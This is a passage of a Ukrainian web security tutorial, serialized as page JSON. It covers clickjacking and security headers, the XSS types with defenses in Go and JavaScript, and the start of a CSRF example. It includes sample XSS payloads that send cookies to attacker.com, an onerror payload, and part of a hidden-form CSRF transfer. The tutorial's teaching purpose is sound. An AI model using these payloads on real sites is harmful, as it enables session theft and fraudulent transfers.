домену.",[3839,9745,9747],{"id":9746},"x-frame-options-захист-від-clickjacking","X-Frame-Options — Захист від Clickjacking",[3844,9749,9750,9753,9754,9756],{},[3782,9751,9752],{},"Clickjacking"," (також відомий як UI Redressing) — це атака, де зловмисник вбудовує легітимний сайт у прозорий або прихований ",[3793,9755,4503],{}," на своєму сайті та обманом змушує користувача клікати на елементи, які насправді взаємодіють з прихованою сторінкою. Наприклад, зловмисник може створити фальшиву кнопку \"Отримати подарунок\", яка насправді розміщена над кнопкою \"Підтвердити переказ\" у банківському застосунку у прихованому iframe.",[3844,9758,9759,9760,9763,9764,3950,9766,3950,9769,3930,9771,3796],{},"Заголовок ",[3782,9761,9762],{},"X-Frame-Options"," інструктує браузер, чи дозволено вбудовувати сторінку у ",[3793,9765,4503],{},[3793,9767,9768],{},"\u003Cframe>",[3793,9770,8682],{},[3793,9772,8679],{},[3988,9774,9776],{"id":9775},"значення-x-frame-options","Значення X-Frame-Options",[3844,9778,9779],{},[3782,9780,9781],{},"1. DENY — повна заборона вбудовування",[4205,9783,9785],{"className":4794,"code":9784,"language":4796,"meta":4210,"style":4210},"X-Frame-Options: DENY\n",[3793,9786,9787],{"__ignoreMap":4210},[4214,9788,9789,9791,9793],{"class":4216,"line":4217},[4214,9790,9762],{"class":4224},[4214,9792,3917],{"class":4338},[4214,9794,9795],{"class":4316}," DENY\n",[3844,9797,4512,9798,9800],{},[3782,9799,4188],{}," бути вбудована у iframe, навіть на тому самому домені.",[3844,9802,9803],{},[3782,9804,9805],{},"2. SAMEORIGIN — дозвіл лише для того самого origin",[4205,9807,9809],{"className":4794,"code":9808,"language":4796,"meta":4210,"style":4210},"X-Frame-Options: SAMEORIGIN\n",[3793,9810,9811],{"__ignoreMap":4210},[4214,9812,9813,9815,9817],{"class":4216,"line":4217},[4214,9814,9762],{"class":4224},[4214,9816,3917],{"class":4338},[4214,9818,9819],{"class":4316}," SAMEORIGIN\n",[3844,9821,9822,9823,9825],{},"Сторінка може бути вбудована у iframe лише сторінками з ",[3782,9824,8433],{}," (схема, домен, порт співпадають).",[3844,9827,9828,9830,9831,9834,9835,9838,9839,3796],{},[3782,9829,4509],{}," Сторінка ",[3793,9832,9833],{},"https:\u002F\u002Fexample.com\u002Fdashboard"," може бути вбудована у iframe на ",[3793,9836,9837],{},"https:\u002F\u002Fexample.com\u002Fmain",", але не на ",[3793,9840,9841],{},"https:\u002F\u002Fanother-site.com",[3844,9843,9844],{},[3782,9845,9846],{},"3. ALLOW-FROM uri — дозвіл для конкретного URI (застаріле)",[4205,9848,9850],{"className":4794,"code":9849,"language":4796,"meta":4210,"style":4210},"X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted-partner.com\n",[3793,9851,9852],{"__ignoreMap":4210},[4214,9853,9854,9856,9858],{"class":4216,"line":4217},[4214,9855,9762],{"class":4224},[4214,9857,3917],{"class":4338},[4214,9859,9860],{"class":4316}," ALLOW-FROM https:\u002F\u002Ftrusted-partner.com\n",[3844,9862,9863,9864,9867,9868,9871],{},"Дозволяє вбудовування лише з вказаного URI. ",[3782,9865,9866],{},"Застаріле"," та не підтримується більшістю браузерів. Використовуйте CSP ",[3793,9869,9870],{},"frame-ancestors"," замість цього.",[3988,9873,9875],{"id":9874},"рекомендації-використання","Рекомендації використання",[3844,9877,9878],{},[3782,9879,9880],{},"Для більшості застосунків:",[4205,9882,9883],{"className":4794,"code":9784,"language":4796,"meta":4210,"style":4210},[3793,9884,9885],{"__ignoreMap":4210},[4214,9886,9887,9889,9891],{"class":4216,"line":4217},[4214,9888,9762],{"class":4224},[4214,9890,3917],{"class":4338},[4214,9892,9795],{"class":4316},[3844,9894,9895],{},"або",[4205,9897,9898],{"className":4794,"code":9808,"language":4796,"meta":4210,"style":4210},[3793,9899,9900],{"__ignoreMap":4210},[4214,9901,9902,9904,9906],{"class":4216,"line":4217},[4214,9903,9762],{"class":4224},[4214,9905,3917],{"class":4338},[4214,9907,9819],{"class":4316},[3844,9909,9910,9913,9915,9916,9918],{},[3782,9911,9912],{},"Для сучасних застосунків (з CSP):",[3999,9914],{},"\nВикористовуйте CSP ",[3793,9917,9870],{}," замість X-Frame-Options:",[4205,9920,9922],{"className":4794,"code":9921,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: frame-ancestors 'none'\nContent-Security-Policy: frame-ancestors 'self'\nContent-Security-Policy: frame-ancestors https:\u002F\u002Ftrusted-partner.com\n",[3793,9923,9924,9933,9942],{"__ignoreMap":4210},[4214,9925,9926,9928,9930],{"class":4216,"line":4217},[4214,9927,8352],{"class":4224},[4214,9929,3917],{"class":4338},[4214,9931,9932],{"class":4316}," frame-ancestors 'none'\n",[4214,9934,9935,9937,9939],{"class":4216,"line":4235},[4214,9936,8352],{"class":4224},[4214,9938,3917],{"class":4338},[4214,9940,9941],{"class":4316}," frame-ancestors 'self'\n",[4214,9943,9944,9946,9948],{"class":4216,"line":4245},[4214,9945,8352],{"class":4224},[4214,9947,3917],{"class":4338},[4214,9949,9950],{"class":4316}," frame-ancestors https:\u002F\u002Ftrusted-partner.com\n",[3844,9952,9953,9955],{},[3793,9954,9870],{}," є сучаснішим, гнучкішим та підтримує кілька джерел.",[4475,9957,9958,9961,9963,9964,9966,9967,9969],{},[3782,9959,9960],{},"Сумісність:",[3999,9962],{},"\nЯкщо присутні обидва заголовки (",[3793,9965,9762],{}," та CSP ",[3793,9968,9870],{},"), більшість браузерів віддають пріоритет CSP. Проте для підтримки старих браузерів рекомендується додавати обидва.",[3839,9971,9973],{"id":9972},"x-content-type-options-захист-від-mime-sniffing","X-Content-Type-Options — Захист від MIME Sniffing",[3844,9975,9976,9977,9980,9981,9983,9984,3930,9987,9990,9991,9994],{},"Деякі браузери намагаються ",[3782,9978,9979],{},"автоматично визначити тип контенту"," (MIME type) файлу, ігноруючи заголовок ",[3793,9982,5227],{},", надісланий сервером. Це називається ",[3782,9985,9986],{},"MIME Sniffing",[3782,9988,9989],{},"Content Sniffing",". Наприклад, якщо сервер надсилає файл з ",[3793,9992,9993],{},"Content-Type: text\u002Fplain",", але браузер виявляє HTML-теги у вмісті, він може інтерпретувати файл як HTML та виконати вбудовані скрипти.",[3844,9996,9997,9998,10000],{},"Це створює вразливість, коли зловмисник завантажує файл з HTML\u002FJavaScript-кодом, замаскованим під зображення або текстовий файл. Якщо сервер некоректно встановлює ",[3793,9999,5227],{},", браузер може виконати зловмисний код.",[3844,10002,10003],{},[3782,10004,10005],{},"Заголовок X-Content-Type-Options:",[4205,10007,10009],{"className":4794,"code":10008,"language":4796,"meta":4210,"style":4210},"X-Content-Type-Options: nosniff\n",[3793,10010,10011],{"__ignoreMap":4210},[4214,10012,10013,10016,10018],{"class":4216,"line":4217},[4214,10014,10015],{"class":4224},"X-Content-Type-Options",[4214,10017,3917],{"class":4338},[4214,10019,10020],{"class":4316}," nosniff\n",[3844,10022,10023,10024,10027,10028,10030,10031,10034],{},"Інструктує браузер ",[3782,10025,10026],{},"суворо дотримуватися"," заголовка ",[3793,10029,5227],{},", надісланого сервером, та ",[3782,10032,10033],{},"не намагатися"," визначити тип контенту автоматично.",[3844,10036,10037],{},[3782,10038,4509],{},[3844,10040,10041],{},[3782,10042,10043],{},"Без nosniff:",[4205,10045,10047],{"className":4794,"code":10046,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 200 OK\nContent-Type: text\u002Fplain\n\n\u003Chtml>\u003Cscript>alert('XSS')\u003C\u002Fscript>\u003C\u002Fhtml>\n",[3793,10048,10049,10061,10070,10074],{"__ignoreMap":4210},[4214,10050,10051,10053,10055,10057,10059],{"class":4216,"line":4217},[4214,10052,5319],{"class":4338},[4214,10054,5322],{"class":4262},[4214,10056,5390],{"class":5325},[4214,10058,5393],{"class":5325},[4214,10060,5396],{"class":4316},[4214,10062,10063,10065,10067],{"class":4216,"line":4235},[4214,10064,5227],{"class":4224},[4214,10066,3917],{"class":4338},[4214,10068,10069],{"class":4316}," text\u002Fplain\n",[4214,10071,10072],{"class":4216,"line":4245},[4214,10073,5429],{"emptyLinePlaceholder":5428},[4214,10075,10076,10078,10080,10082,10084,10086,10089,10091,10093,10095,10097],{"class":4216,"line":4278},[4214,10077,4238],{"class":4220},[4214,10079,4209],{"class":4224},[4214,10081,4253],{"class":4220},[4214,10083,4293],{"class":4224},[4214,10085,4259],{"class":4220},[4214,10087,10088],{"class":4262},"alert('XSS')",[4214,10090,4266],{"class":4220},[4214,10092,4293],{"class":4224},[4214,10094,4271],{"class":4220},[4214,10096,4209],{"class":4224},[4214,10098,4232],{"class":4220},[3844,10100,10101],{},"Деякі старі браузери можуть інтерпретувати це як HTML та виконати скрипт.",[3844,10103,10104],{},[3782,10105,10106],{},"З nosniff:",[4205,10108,10110],{"className":4794,"code":10109,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 200 OK\nContent-Type: text\u002Fplain\nX-Content-Type-Options: nosniff\n\n\u003Chtml>\u003Cscript>alert('XSS')\u003C\u002Fscript>\u003C\u002Fhtml>\n",[3793,10111,10112,10124,10132,10140,10144],{"__ignoreMap":4210},[4214,10113,10114,10116,10118,10120,10122],{"class":4216,"line":4217},[4214,10115,5319],{"class":4338},[4214,10117,5322],{"class":4262},[4214,10119,5390],{"class":5325},[4214,10121,5393],{"class":5325},[4214,10123,5396],{"class":4316},[4214,10125,10126,10128,10130],{"class":4216,"line":4235},[4214,10127,5227],{"class":4224},[4214,10129,3917],{"class":4338},[4214,10131,10069],{"class":4316},[4214,10133,10134,10136,10138],{"class":4216,"line":4245},[4214,10135,10015],{"class":4224},[4214,10137,3917],{"class":4338},[4214,10139,10020],{"class":4316},[4214,10141,10142],{"class":4216,"line":4278},[4214,10143,5429],{"emptyLinePlaceholder":5428},[4214,10145,10146,10148,10150,10152,10154,10156,10158,10160,10162,10164,10166],{"class":4216,"line":4288},[4214,10147,4238],{"class":4220},[4214,10149,4209],{"class":4224},[4214,10151,4253],{"class":4220},[4214,10153,4293],{"class":4224},[4214,10155,4259],{"class":4220},[4214,10157,10088],{"class":4262},[4214,10159,4266],{"class":4220},[4214,10161,4293],{"class":4224},[4214,10163,4271],{"class":4220},[4214,10165,4209],{"class":4224},[4214,10167,4232],{"class":4220},[3844,10169,10170],{},"Браузер інтерпретує як текст, скрипт не виконується.",[3844,10172,10173,10176,10178,10179,10182],{},[3782,10174,10175],{},"Рекомендація:",[3999,10177],{},"\nЗавжди додавайте ",[3793,10180,10181],{},"X-Content-Type-Options: nosniff"," до всіх відповідей.",[3839,10184,10186],{"id":10185},"referrer-policy-контроль-передачі-referer","Referrer-Policy — Контроль передачі Referer",[3844,10188,9759,10189,10191,10192,10195],{},[3793,10190,7387],{}," автоматично додається браузером до запитів та містить URL сторінки, з якої користувач перейшов за посиланням. Це корисно для аналітики та захисту від CSRF, але може ",[3782,10193,10194],{},"розкривати чутливу інформацію",", наприклад:",[3746,10197,10198,10204],{},[3749,10199,10200,10201],{},"Повний URL з параметрами сесії: ",[3793,10202,10203],{},"https:\u002F\u002Fapp.example.com\u002Fdashboard?sessionId=abc123&userId=42",[3749,10205,10206,10207],{},"Внутрішні шляхи: ",[3793,10208,10209],{},"https:\u002F\u002Fadmin.example.com\u002Fsecret-reports",[3844,10211,10212,10215,10216,3796],{},[3782,10213,10214],{},"Referrer-Policy"," дозволяє контролювати, скільки інформації передається у заголовку ",[3793,10217,7387],{},[3988,10219,10221],{"id":10220},"значення-referrer-policy","Значення Referrer-Policy",[4005,10223,10224,10237],{},[4008,10225,10226],{},[4011,10227,10228,10231,10234],{},[4014,10229,10230],{},"Політика",[4014,10232,10233],{},"Опис",[4014,10235,10236],{},"Приклад",[4024,10238,10239,10254,10270,10284,10305,10322,10336,10349],{},[4011,10240,10241,10246,10251],{},[4029,10242,10243],{},[3793,10244,10245],{},"no-referrer",[4029,10247,10248,10249],{},"Ніколи не надсилати ",[3793,10250,7387],{},[4029,10252,10253],{},"Ніякого заголовка",[4011,10255,10256,10262,10265],{},[4029,10257,10258,10261],{},[3793,10259,10260],{},"no-referrer-when-downgrade"," (за замовчуванням)",[4029,10263,10264],{},"Надсилати, якщо не downgrade з HTTPS на HTTP",[4029,10266,10267],{},[3793,10268,10269],{},"Referer: https:\u002F\u002Fexample.com\u002Fpage",[4011,10271,10272,10276,10279],{},[4029,10273,10274],{},[3793,10275,7670],{},[4029,10277,10278],{},"Надсилати лише origin (без шляху)",[4029,10280,10281],{},[3793,10282,10283],{},"Referer: https:\u002F\u002Fexample.com",[4011,10285,10286,10291,10294],{},[4029,10287,10288],{},[3793,10289,10290],{},"origin-when-cross-origin",[4029,10292,10293],{},"Повний URL для same-origin, лише origin для cross-origin",[4029,10295,10296,10297,10300,10302,10303],{},"Same-origin: ",[3793,10298,10299],{},"https:\u002F\u002Fexample.com\u002Fpage",[3999,10301],{},"Cross-origin: ",[3793,10304,4151],{},[4011,10306,10307,10312,10315],{},[4029,10308,10309],{},[3793,10310,10311],{},"same-origin",[4029,10313,10314],{},"Надсилати лише для same-origin запитів",[4029,10316,10296,10317,10319,10321],{},[3793,10318,10299],{},[3999,10320],{},"Cross-origin: немає заголовка",[4011,10323,10324,10329,10332],{},[4029,10325,10326],{},[3793,10327,10328],{},"strict-origin",[4029,10330,10331],{},"Лише origin, не надсилати при downgrade",[4029,10333,10334],{},[3793,10335,10283],{},[4011,10337,10338,10343,10346],{},[4029,10339,10340],{},[3793,10341,10342],{},"strict-origin-when-cross-origin",[4029,10344,10345],{},"Повний URL для same-origin, origin для cross-origin, не надсилати при downgrade",[4029,10347,10348],{},"Рекомендовано для більшості застосунків",[4011,10350,10351,10356,10359],{},[4029,10352,10353],{},[3793,10354,10355],{},"unsafe-url",[4029,10357,10358],{},"Завжди повний URL (небезпечно)",[4029,10360,10361],{},[3793,10362,10363],{},"Referer: https:\u002F\u002Fexample.com\u002Fpage?secret=abc",[3844,10365,10366],{},[3782,10367,4509],{},[4205,10369,10371],{"className":4794,"code":10370,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 200 OK\nReferrer-Policy: strict-origin-when-cross-origin\nContent-Type: text\u002Fhtml\n",[3793,10372,10373,10385,10394],{"__ignoreMap":4210},[4214,10374,10375,10377,10379,10381,10383],{"class":4216,"line":4217},[4214,10376,5319],{"class":4338},[4214,10378,5322],{"class":4262},[4214,10380,5390],{"class":5325},[4214,10382,5393],{"class":5325},[4214,10384,5396],{"class":4316},[4214,10386,10387,10389,10391],{"class":4216,"line":4235},[4214,10388,10214],{"class":4224},[4214,10390,3917],{"class":4338},[4214,10392,10393],{"class":4316}," strict-origin-when-cross-origin\n",[4214,10395,10396,10398,10400],{"class":4216,"line":4245},[4214,10397,5227],{"class":4224},[4214,10399,3917],{"class":4338},[4214,10401,9427],{"class":4316},[3844,10403,10404,10406,10408,10409,3930,10411,10413],{},[3782,10405,10175],{},[3999,10407],{},"\nВикористовуйте ",[3793,10410,10342],{},[3793,10412,10245],{}," для захисту приватності.",[3831,10415],{},[3834,10417,10419],{"id":10418},"типові-вектори-атак-та-методи-захисту","Типові вектори атак та методи захисту",[3839,10421,8337],{"id":10422},"cross-site-scripting-xss",[3844,10424,10425,10427,10428,10431,10432,10435,10436,10439],{},[3782,10426,8337],{}," є однією з найпоширеніших та найнебезпечніших вразливостей веб-застосунків. XSS виникає, коли зловмисник може впровадити шкідливий JavaScript-код у веб-сторінку, який виконується у браузері жертви. Існує три основні типи XSS-атак: ",[3782,10429,10430],{},"Reflected XSS"," (відображений), ",[3782,10433,10434],{},"Stored XSS"," (збережений) та ",[3782,10437,10438],{},"DOM-based XSS"," (на основі DOM).",[3988,10441,10443],{"id":10442},"reflected-xss-відображений-xss","Reflected XSS (Відображений XSS)",[3844,10445,10446],{},"Шкідливий код передається через параметри URL та відображається у відповіді сервера без належної санітизації.",[3844,10448,10449],{},[3782,10450,10451],{},"Приклад вразливого коду (концептуальний):",[4205,10453,10455],{"className":4207,"code":10454,"language":4209,"meta":4210,"style":4210},"\u003C!-- Сервер повертає HTML з необробленим параметром -->\n\u003Ch1>Результати пошуку для: {{query}}\u003C\u002Fh1>\n",[3793,10456,10457,10462],{"__ignoreMap":4210},[4214,10458,10459],{"class":4216,"line":4217},[4214,10460,10461],{"class":4301},"\u003C!-- Сервер повертає HTML з необробленим параметром -->\n",[4214,10463,10464,10466,10468,10470,10473,10475,10477],{"class":4216,"line":4235},[4214,10465,4238],{"class":4220},[4214,10467,3734],{"class":4224},[4214,10469,4259],{"class":4220},[4214,10471,10472],{"class":4262},"Результати пошуку для: {{query}}",[4214,10474,4266],{"class":4220},[4214,10476,3734],{"class":4224},[4214,10478,4232],{"class":4220},[3844,10480,10481],{},[3782,10482,10483],{},"URL зловмисника:",[4205,10485,10488],{"className":10486,"code":10487,"language":4450},[4448],"https:\u002F\u002Fvulnerable.com\u002Fsearch?query=\u003Cscript>fetch('https:\u002F\u002Fattacker.com\u002Fsteal?cookie='+document.cookie)\u003C\u002Fscript>\n",[3793,10489,10487],{"__ignoreMap":4210},[3844,10491,10492,10495],{},[3782,10493,10494],{},"Результат:"," Скрипт виконується, викрадає cookies користувача та надсилає зловмиснику.",[3988,10497,10499],{"id":10498},"stored-xss-збережений-xss","Stored XSS (Збережений XSS)",[3844,10501,10502],{},"Шкідливий код зберігається у базі даних (наприклад, у коментарі, профілі користувача) та відображається кожному, хто переглядає цю сторінку.",[3844,10504,10505,10507],{},[3782,10506,4509],{}," Зловмисник залишає коментар:",[4205,10509,10511],{"className":4207,"code":10510,"language":4209,"meta":4210,"style":4210},"Дякую за статтю! \u003Cscript>document.location='https:\u002F\u002Fattacker.com\u002Fsteal?cookie='+document.cookie\u003C\u002Fscript>\n",[3793,10512,10513],{"__ignoreMap":4210},[4214,10514,10515,10518,10520,10522,10524,10526,10528,10531,10533,10536,10539,10541,10543,10545,10547,10549],{"class":4216,"line":4217},[4214,10516,10517],{"class":4262},"Дякую за статтю! ",[4214,10519,4238],{"class":4220},[4214,10521,4293],{"class":4224},[4214,10523,4259],{"class":4220},[4214,10525,4837],{"class":4334},[4214,10527,3796],{"class":4312},[4214,10529,10530],{"class":4334},"location",[4214,10532,4558],{"class":4262},[4214,10534,10535],{"class":4316},"'https:\u002F\u002Fattacker.com\u002Fsteal?cookie='",[4214,10537,10538],{"class":4262},"+",[4214,10540,4837],{"class":4334},[4214,10542,3796],{"class":4312},[4214,10544,4842],{"class":4334},[4214,10546,4266],{"class":4220},[4214,10548,4293],{"class":4224},[4214,10550,4232],{"class":4220},[3844,10552,10553],{},"Кожен, хто відкриє сторінку з цим коментарем, буде перенаправлений на сайт зловмисника з надісланими cookies.",[3988,10555,10438],{"id":10556},"dom-based-xss",[3844,10558,10559],{},"Шкідливий код виконується через маніпуляції з DOM без взаємодії з сервером.",[3844,10561,10562],{},[3782,10563,10564],{},"Приклад вразливого JavaScript:",[4205,10566,10568],{"className":4819,"code":10567,"language":4821,"meta":4210,"style":4210},"\u002F\u002F Отримання параметра з URL\nconst params = new URLSearchParams(window.location.search);\nconst username = params.get('name');\n\n\u002F\u002F Вразливе вставлення у DOM\ndocument.getElementById('welcome').innerHTML = 'Вітаємо, ' + username;\n",[3793,10569,10570,10575,10605,10629,10633,10638],{"__ignoreMap":4210},[4214,10571,10572],{"class":4216,"line":4217},[4214,10573,10574],{"class":4301},"\u002F\u002F Отримання параметра з URL\n",[4214,10576,10577,10579,10582,10584,10586,10589,10591,10594,10596,10598,10600,10603],{"class":4216,"line":4235},[4214,10578,4594],{"class":4338},[4214,10580,10581],{"class":4597}," params",[4214,10583,6641],{"class":4262},[4214,10585,6644],{"class":4338},[4214,10587,10588],{"class":4308}," URLSearchParams",[4214,10590,4313],{"class":4262},[4214,10592,10593],{"class":4334},"window",[4214,10595,3796],{"class":4262},[4214,10597,10530],{"class":4334},[4214,10599,3796],{"class":4262},[4214,10601,10602],{"class":4334},"search",[4214,10604,4617],{"class":4262},[4214,10606,10607,10609,10612,10614,10617,10619,10622,10624,10627],{"class":4216,"line":4245},[4214,10608,4594],{"class":4338},[4214,10610,10611],{"class":4597}," username",[4214,10613,6641],{"class":4262},[4214,10615,10616],{"class":4334},"params",[4214,10618,3796],{"class":4262},[4214,10620,10621],{"class":4308},"get",[4214,10623,4313],{"class":4262},[4214,10625,10626],{"class":4316},"'name'",[4214,10628,4617],{"class":4262},[4214,10630,10631],{"class":4216,"line":4278},[4214,10632,5429],{"emptyLinePlaceholder":5428},[4214,10634,10635],{"class":4216,"line":4288},[4214,10636,10637],{"class":4301},"\u002F\u002F Вразливе вставлення у DOM\n",[4214,10639,10640,10642,10644,10646,10648,10651,10653,10655,10657,10660,10663,10666],{"class":4216,"line":4298},[4214,10641,4837],{"class":4334},[4214,10643,3796],{"class":4262},[4214,10645,4609],{"class":4308},[4214,10647,4313],{"class":4262},[4214,10649,10650],{"class":4316},"'welcome'",[4214,10652,5124],{"class":4262},[4214,10654,4672],{"class":4334},[4214,10656,6641],{"class":4262},[4214,10658,10659],{"class":4316},"'Вітаємо, '",[4214,10661,10662],{"class":4262}," + ",[4214,10664,10665],{"class":4334},"username",[4214,10667,10668],{"class":4262},";\n",[3844,10670,10671],{},[3782,10672,10483],{},[4205,10674,10677],{"className":10675,"code":10676,"language":4450},[4448],"https:\u002F\u002Fvulnerable.com\u002Fprofile?name=\u003Cimg src=x onerror=\"alert(document.cookie)\">\n",[3793,10678,10676],{"__ignoreMap":4210},[3844,10680,10681,10683,10684,10687],{},[3782,10682,10494],{}," Браузер виконує ",[3793,10685,10686],{},"onerror"," handler, який викрадає cookies.",[3988,10689,10691],{"id":10690},"захист-від-xss","Захист від XSS",[3844,10693,10694],{},[3782,10695,10696],{},"1. Санітизація та екранування вводу (Input Validation and Output Encoding)",[3844,10698,10699,10702],{},[3782,10700,10701],{},"Ніколи не довіряйте користувацькому вводу."," Завжди екрануйте HTML-спецсимволи перед виведенням на сторінку.",[3844,10704,10705],{},[3782,10706,10707],{},"Екранування у Go (концептуальний приклад):",[4205,10709,10711],{"className":7544,"code":10710,"language":7546,"meta":4210,"style":4210},"import \"html\u002Ftemplate\"\n\n\u002F\u002F Безпечний шаблон (автоматичне екранування)\ntmpl := template.Must(template.New(\"page\").Parse(`\n\u003Ch1>Результати для: {{.Query}}\u003C\u002Fh1>\n`))\n\ndata := map[string]interface{}{\n    \"Query\": userInput, \u002F\u002F Автоматично екранується: \u003C стає &lt;\n}\ntmpl.Execute(w, data)\n",[3793,10712,10713,10720,10724,10729,10768,10773,10780,10784,10807,10822,10826],{"__ignoreMap":4210},[4214,10714,10715,10717],{"class":4216,"line":4217},[4214,10716,9072],{"class":4622},[4214,10718,10719],{"class":4316}," \"html\u002Ftemplate\"\n",[4214,10721,10722],{"class":4216,"line":4235},[4214,10723,5429],{"emptyLinePlaceholder":5428},[4214,10725,10726],{"class":4216,"line":4245},[4214,10727,10728],{"class":4301},"\u002F\u002F Безпечний шаблон (автоматичне екранування)\n",[4214,10730,10731,10734,10736,10739,10741,10744,10746,10748,10750,10753,10755,10758,10760,10763,10765],{"class":4216,"line":4278},[4214,10732,10733],{"class":4334},"tmpl",[4214,10735,7618],{"class":4262},[4214,10737,10738],{"class":4334},"template",[4214,10740,3796],{"class":4262},[4214,10742,10743],{"class":4308},"Must",[4214,10745,4313],{"class":4262},[4214,10747,10738],{"class":4334},[4214,10749,3796],{"class":4262},[4214,10751,10752],{"class":4308},"New",[4214,10754,4313],{"class":4262},[4214,10756,10757],{"class":4316},"\"page\"",[4214,10759,5124],{"class":4262},[4214,10761,10762],{"class":4308},"Parse",[4214,10764,4313],{"class":4262},[4214,10766,10767],{"class":4316},"`\n",[4214,10769,10770],{"class":4216,"line":4288},[4214,10771,10772],{"class":4316},"\u003Ch1>Результати для: {{.Query}}\u003C\u002Fh1>\n",[4214,10774,10775,10778],{"class":4216,"line":4298},[4214,10776,10777],{"class":4316},"`",[4214,10779,4379],{"class":4262},[4214,10781,10782],{"class":4216,"line":4305},[4214,10783,5429],{"emptyLinePlaceholder":5428},[4214,10785,10786,10788,10790,10793,10796,10798,10801,10804],{"class":4216,"line":4323},[4214,10787,4362],{"class":4334},[4214,10789,7618],{"class":4262},[4214,10791,10792],{"class":4338},"map",[4214,10794,10795],{"class":4262},"[",[4214,10797,7573],{"class":7572},[4214,10799,10800],{"class":4262},"]",[4214,10802,10803],{"class":4338},"interface",[4214,10805,10806],{"class":4262},"{}{\n",[4214,10808,10809,10812,10814,10817,10819],{"class":4216,"line":4353},[4214,10810,10811],{"class":4316},"    \"Query\"",[4214,10813,5736],{"class":4262},[4214,10815,10816],{"class":4334},"userInput",[4214,10818,3950],{"class":4262},[4214,10820,10821],{"class":4301},"\u002F\u002F Автоматично екранується: \u003C стає &lt;\n",[4214,10823,10824],{"class":4216,"line":4382},[4214,10825,4729],{"class":4262},[4214,10827,10828,10830,10832,10835,10837,10840,10842,10844],{"class":4216,"line":4415},[4214,10829,10733],{"class":4334},[4214,10831,3796],{"class":4262},[4214,10833,10834],{"class":4308},"Execute",[4214,10836,4313],{"class":4262},[4214,10838,10839],{"class":4334},"w",[4214,10841,3950],{"class":4262},[4214,10843,4362],{"class":4334},[4214,10845,4320],{"class":4262},[3844,10847,10848],{},[3782,10849,10850],{},"2. Content Security Policy (CSP)",[3844,10852,10853],{},"Налаштуйте суворі CSP-політики, що блокують inline-скрипти та eval():",[4205,10855,10857],{"className":4794,"code":10856,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'; object-src 'none'\n",[3793,10858,10859],{"__ignoreMap":4210},[4214,10860,10861,10863,10865],{"class":4216,"line":4217},[4214,10862,8352],{"class":4224},[4214,10864,3917],{"class":4338},[4214,10866,10867],{"class":4316}," default-src 'self'; script-src 'self' 'nonce-random123'; object-src 'none'\n",[3844,10869,10870],{},[3782,10871,10872],{},"3. HttpOnly cookies",[3844,10874,10875,10876,10878,10879,3917],{},"Встановіть ",[3793,10877,4860],{}," для автентифікаційних cookies, щоб вони були недоступні через ",[3793,10880,3874],{},[4205,10882,10884],{"className":4794,"code":10883,"language":4796,"meta":4210,"style":4210},"Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict\n",[3793,10885,10886],{"__ignoreMap":4210},[4214,10887,10888,10890,10892],{"class":4216,"line":4217},[4214,10889,4803],{"class":4224},[4214,10891,3917],{"class":4338},[4214,10893,10894],{"class":4316}," sessionId=abc123; HttpOnly; Secure; SameSite=Strict\n",[3844,10896,10897],{},[3782,10898,10899],{},"4. Використання безпечних API",[3844,10901,10902,10903,10905,10906,3930,10909,3917],{},"Замість ",[3793,10904,4672],{}," використовуйте ",[3793,10907,10908],{},"textContent",[3793,10910,10911],{},"createTextNode()",[4205,10913,10915],{"className":4819,"code":10914,"language":4821,"meta":4210,"style":4210},"\u002F\u002F Небезпечно\nelement.innerHTML = userInput;\n\n\u002F\u002F Безпечно\nelement.textContent = userInput;\n",[3793,10916,10917,10922,10937,10941,10946],{"__ignoreMap":4210},[4214,10918,10919],{"class":4216,"line":4217},[4214,10920,10921],{"class":4301},"\u002F\u002F Небезпечно\n",[4214,10923,10924,10927,10929,10931,10933,10935],{"class":4216,"line":4235},[4214,10925,10926],{"class":4334},"element",[4214,10928,3796],{"class":4262},[4214,10930,4672],{"class":4334},[4214,10932,6641],{"class":4262},[4214,10934,10816],{"class":4334},[4214,10936,10668],{"class":4262},[4214,10938,10939],{"class":4216,"line":4245},[4214,10940,5429],{"emptyLinePlaceholder":5428},[4214,10942,10943],{"class":4216,"line":4278},[4214,10944,10945],{"class":4301},"\u002F\u002F Безпечно\n",[4214,10947,10948,10950,10952,10954,10956,10958],{"class":4216,"line":4288},[4214,10949,10926],{"class":4334},[4214,10951,3796],{"class":4262},[4214,10953,10908],{"class":4334},[4214,10955,6641],{"class":4262},[4214,10957,10816],{"class":4334},[4214,10959,10668],{"class":4262},[3839,10961,10963],{"id":10962},"cross-site-request-forgery-csrf","Cross-Site Request Forgery (CSRF)",[3844,10965,10966,10968,10969,10972],{},[3782,10967,10963],{}," — це атака, де зловмисник змушує автентифікованого користувача виконати небажану дію на довіреному сайті без його відома. CSRF експлуатує той факт, що браузер ",[3782,10970,10971],{},"автоматично додає cookies"," до кожного запиту, навіть якщо запит ініційований зловмисним сайтом.",[3988,10974,10976],{"id":10975},"приклад-csrf-атаки","Приклад CSRF-атаки",[3844,10978,10979,6735,10981,10983],{},[3782,10980,5293],{},[3793,10982,3859],{}," через session cookie.",[3844,10985,10986],{},[3782,10987,10988,10989,10991],{},"Зловмисний сайт ",[3793,10990,3855],{}," містить:",[4205,10993,10995],{"className":4207,"code":10994,"language":4209,"meta":4210,"style":4210},"\u003Chtml>\n\u003Cbody>\n\u003Ch1>Вітаємо! Отримайте подарунок!\u003C\u002Fh1>\n\u003Cform id=\"csrf\" action=\"https:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\">\n  \u003Cinput type=\"hidden\" name=\"to\" value=\"attacker-account\">\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"10000\">\n\u003C\u002Fform>\n\u003Cscript>\n  